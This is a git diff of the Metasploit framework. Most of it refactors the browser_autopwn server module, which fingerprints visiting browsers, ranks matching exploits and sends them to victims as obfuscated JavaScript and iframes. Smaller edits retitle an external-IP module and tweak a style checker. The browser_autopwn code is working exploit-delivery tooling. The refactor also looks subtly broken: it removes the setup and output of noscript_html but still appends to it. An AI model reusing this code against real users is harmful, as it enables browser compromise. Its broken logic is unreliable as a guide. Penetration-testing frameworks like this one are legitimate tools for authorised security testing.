diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb
index cd51cd6916..244ce731f8 100755
--- a/modules/auxiliary/gather/external_ip.rb
+++ b/modules/auxiliary/gather/external_ip.rb
@@ -17,8 +17,13 @@ class Metasploit3 < Msf::Auxiliary
 
 	def initialize
 		super(
-			'Name'        	=> 'External IP',
-			'Description'	=> 'This module checks for the public source IP address of the current route to the RHOST',
+			'Name'        	=> 'Discover External IP via Ifconfig.me',
+			'Description'	=> %q{
+				This module checks for the public source IP address of the current
+				route to the RHOST by querying the public web application at ifconfig.me.
+				It should be noted this module will register activity on ifconfig.me,
+				which is not affiliated with Metasploit.
+			},
 			'Author'        => ['RageLtMan'],
 			'License'	=> MSF_LICENSE,
 			'References'	=>
diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb
index cd8e1a0274..f605161b5d 100644
--- a/modules/auxiliary/server/browser_autopwn.rb
+++ b/modules/auxiliary/server/browser_autopwn.rb
@@ -385,8 +385,8 @@ class Metasploit3 < Msf::Auxiliary
 	def start_exploit_modules()
 		@lhost = (datastore['LHOST'] || "0.0.0.0")
 
-		@js_tests = {}
 		@noscript_tests = {}
+		@all_tests = {}
 
 		print_line
 		print_status("Starting exploit modules on host #{@lhost}...")
@@ -446,20 +446,24 @@ class Metasploit3 < Msf::Auxiliary
 			end
 
 			# Now that we've got all of our exploit tests put together,
-			# organize them into requires-scripting and
-			# doesnt-require-scripting, sorted by browser name.
+			# organize them into an all tests (JS and no-JS), organized by rank, 
+			# and doesnt-require-scripting (no-JS), organized by browser name.
 			if apo[:javascript] && apo[:ua_name]
-				@js_tests[apo[:ua_name]] ||= []
-				@js_tests[apo[:ua_name]].push(apo)
+				@all_tests[apo[:rank]] ||= []
+				@all_tests[apo[:rank]].push(apo)
 			elsif apo[:javascript]
-				@js_tests["generic"] ||= []
-				@js_tests["generic"].push(apo)
+				@all_tests[apo[:rank]] ||= []
+				@all_tests[apo[:rank]].push(apo)
 			elsif apo[:ua_name]
 				@noscript_tests[apo[:ua_name]] ||= []
 				@noscript_tests[apo[:ua_name]].push(apo)
+				@all_tests[apo[:rank]] ||= []
+				@all_tests[apo[:rank]].push(apo)
 			else
 				@noscript_tests["generic"] ||= []
 				@noscript_tests["generic"].push(apo)
+				@all_tests[apo[:rank]] ||= []
+				@all_tests[apo[:rank]].push(apo)
 			end
 		end
 
@@ -501,17 +505,15 @@ class Metasploit3 < Msf::Auxiliary
 		print_line
 
 		# Sort the tests by reliability, descending.
-		@js_tests.each { |browser,tests|
-			tests.sort! {|a,b| b[:rank] <=> a[:rank]}
-		}
-
+		# I don't like doing this directly (wihout a !), but any other sort wasn't sticking - NE
+		@all_tests = @all_tests.sort.reverse
+	
 		# This matters a lot less for noscript exploits since they basically
 		# get thrown into a big pile of iframes that the browser will load
 		# semi-concurrently.  Still, might as well.
 		@noscript_tests.each { |browser,tests|
 			tests.sort! {|a,b| b[:rank] <=> a[:rank]}
 		}
-
 	end
 
 	#
@@ -746,83 +748,66 @@ class Metasploit3 < Msf::Auxiliary
 		# if we have no client_info, this will add all tests. Otherwise tries
 		# to only send tests for exploits that target the client's detected
 		# browser.
-		@js_tests.each { |browser, sploits|
-			next unless client_matches_browser(client_info, browser)
-
-			# Send all the generics regardless of what the client is. If the
-			# client is nil, then we don't know what it really is, so just err
-			# on the side of shells and send everything. Otherwise, send only
-			# if the client is using the browser associated with this set of
-			# exploits.
-			if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
-				sploits.each do |s|
-					if s[:vuln_test].nil? or s[:vuln_test].empty?
-						test = "is_vuln = true"
-					else
-						# get rid of newlines and escape quotes
-						test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
-					end
-					# shouldn't be any in the resource, but just in case...
-					res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
-
-					# Skip exploits that don't match the client's OS.
-					if (host_info and host_info[:os_name] and s[:os_name])
-						# Reject exploits whose OS doesn't match that of the
-						# victim. Note that host_info comes from javascript OS
-						# detection, NOT the database.
-						if host_info[:os_name] != "undefined"
-							unless s[:os_name].include?(host_info[:os_name])
-								vprint_status("Rejecting #{s[:name]} for non-matching OS")
-								next
+		
+		@all_tests.each { |rank, sploits|
+			sploits.each { |s|
+				browser = s[:ua_name] || "generic"
+				next unless client_matches_browser(client_info, browser)
+				
+				# Send all the generics regardless of what the client is. If the
+				# client is nil, then we don't know what it really is, so just err
+				# on the side of shells and send everything. Otherwise, send only
+				# if the client is using the browser associated with this set of
+				# exploits.
+				if s[:javascript]
+					if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
+						if s[:vuln_test].nil? or s[:vuln_test].empty?
+							test = "is_vuln = true"
+						else
+							# get rid of newlines and escape quotes
+							test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
+						end
+						# shouldn't be any in the resource, but just in case...
+						res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
+	
+						# Skip exploits that don't match the client's OS.
+						if (host_info and host_info[:os_name] and s[:os_name])
+							# Reject exploits whose OS doesn't match that of the
+							# victim. Note that host_info comes from javascript OS
+							# detection, NOT the database.
+							if host_info[:os_name] != "undefined"
+								unless s[:os_name].include?(host_info[:os_name])
+									vprint_status("Rejecting #{s[:name]} for non-matching OS")
+									next
+								end
 							end
 						end
+
+						js << "global_exploit_list[global_exploit_list.length] = {\n"
+						js << "  'test':'#{test}',\n"
+						js << "  'resource':'#{res}'\n"
+						js << "};\n"
+						sploits_for_this_client.push s[:name]
+						sploit_cnt += 1
+					end
+				else
+					if s[:name] =~ %r|/java_|
+						res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
+						js << "global_exploit_list[global_exploit_list.length] = {\n"
+						js << "  'test':'is_vuln = navigator.javaEnabled()',\n"
+						js << "  'resource':'#{res}'\n"
+						js << "};\n"
+					else
+						# Some other kind of exploit that we can't generically
+						# check for in javascript, throw it on the pile.
+						noscript_html << html_for_exploit(s, client_info)
 					end
-					js << "global_exploit_list[global_exploit_list.length] = {\n"
-					js << "  'test':'#{test}',\n"
-					js << "  'resource':'#{res}'\n"
-					js << "};\n"
 					sploits_for_this_client.push s[:name]
 					sploit_cnt += 1
 				end
-			end
+			}
 		}
 
-		# Add a javaEnabled() test specifically for java exploits.  Other
-		# exploits that don't require javascript go into a big pile of iframes
-		# that will be dumped out after other exploitation is done, assuming
-		# the browser didn't stop somewhere along the way due to a successful
-		# exploit or a crash from all the memory raping we just did.
-		noscript_html = ""
-		@noscript_tests.each { |browser, sploits|
-			sploits.each do |s|
-				if s[:name] =~ %r|/java_|
-					res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
-					js << "global_exploit_list[global_exploit_list.length] = {\n"
-					js << "  'test':'is_vuln = navigator.javaEnabled()',\n"
-					js << "  'resource':'#{res}'\n"
-					js << "};\n"
-				else
-					# Some other kind of exploit that we can't generically
-					# check for in javascript, throw it on the pile.
-					noscript_html << html_for_exploit(s, client_info)
-				end
-				sploits_for_this_client.push s[:name]
-				sploit_cnt += 1
-			end
-		}
-
-		# If all of our exploits that require javascript fail, try to continue
-		# with those that don't
-		js << %Q|var noscript_exploits = "|
-		js << Rex::Text.to_hex(noscript_html, "%")
-		js << %Q|";\n|
-		js << %Q|var noscript_div = document.createElement("div");\n|
-		# Have to use innerHTML here to render the new iframes. Using
-		# document.createElement and appendChild() will escape all the
-		# entities.
-		js << %Q|noscript_div.innerHTML = unescape(noscript_exploits);\n|
-		js << %Q|document.body.appendChild(noscript_div);\n|
-
 		js << "#{js_debug("'starting exploits (' + global_exploit_list.length + ' total)<br>'")}\n"
 		js << "window.next_exploit(0);\n"
 
@@ -830,7 +815,6 @@ class Metasploit3 < Msf::Auxiliary
 		js.obfuscate unless datastore["DEBUG"]
 
 		response.body = "#{js}"
-
 		print_status("Responding with #{sploit_cnt} exploits")
 		sploits_for_this_client.each do |name|
 			vprint_status("* #{name}")
diff --git a/tools/msftidy.rb b/tools/msftidy.rb
index 8faa3b03d5..b23b041da1 100755
--- a/tools/msftidy.rb
+++ b/tools/msftidy.rb
@@ -277,7 +277,7 @@ class Msftidy
 		if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/
 			words = $1.split
 			words.each do |word|
-				if %w{and or the for to in of as with a an on at}.include?(word)
+				if %w{and or the for to in of as with a an on at via}.include?(word)
 					next
 				elsif %w{pbot}.include?(word)
 				elsif word =~ /^[a-z]+$/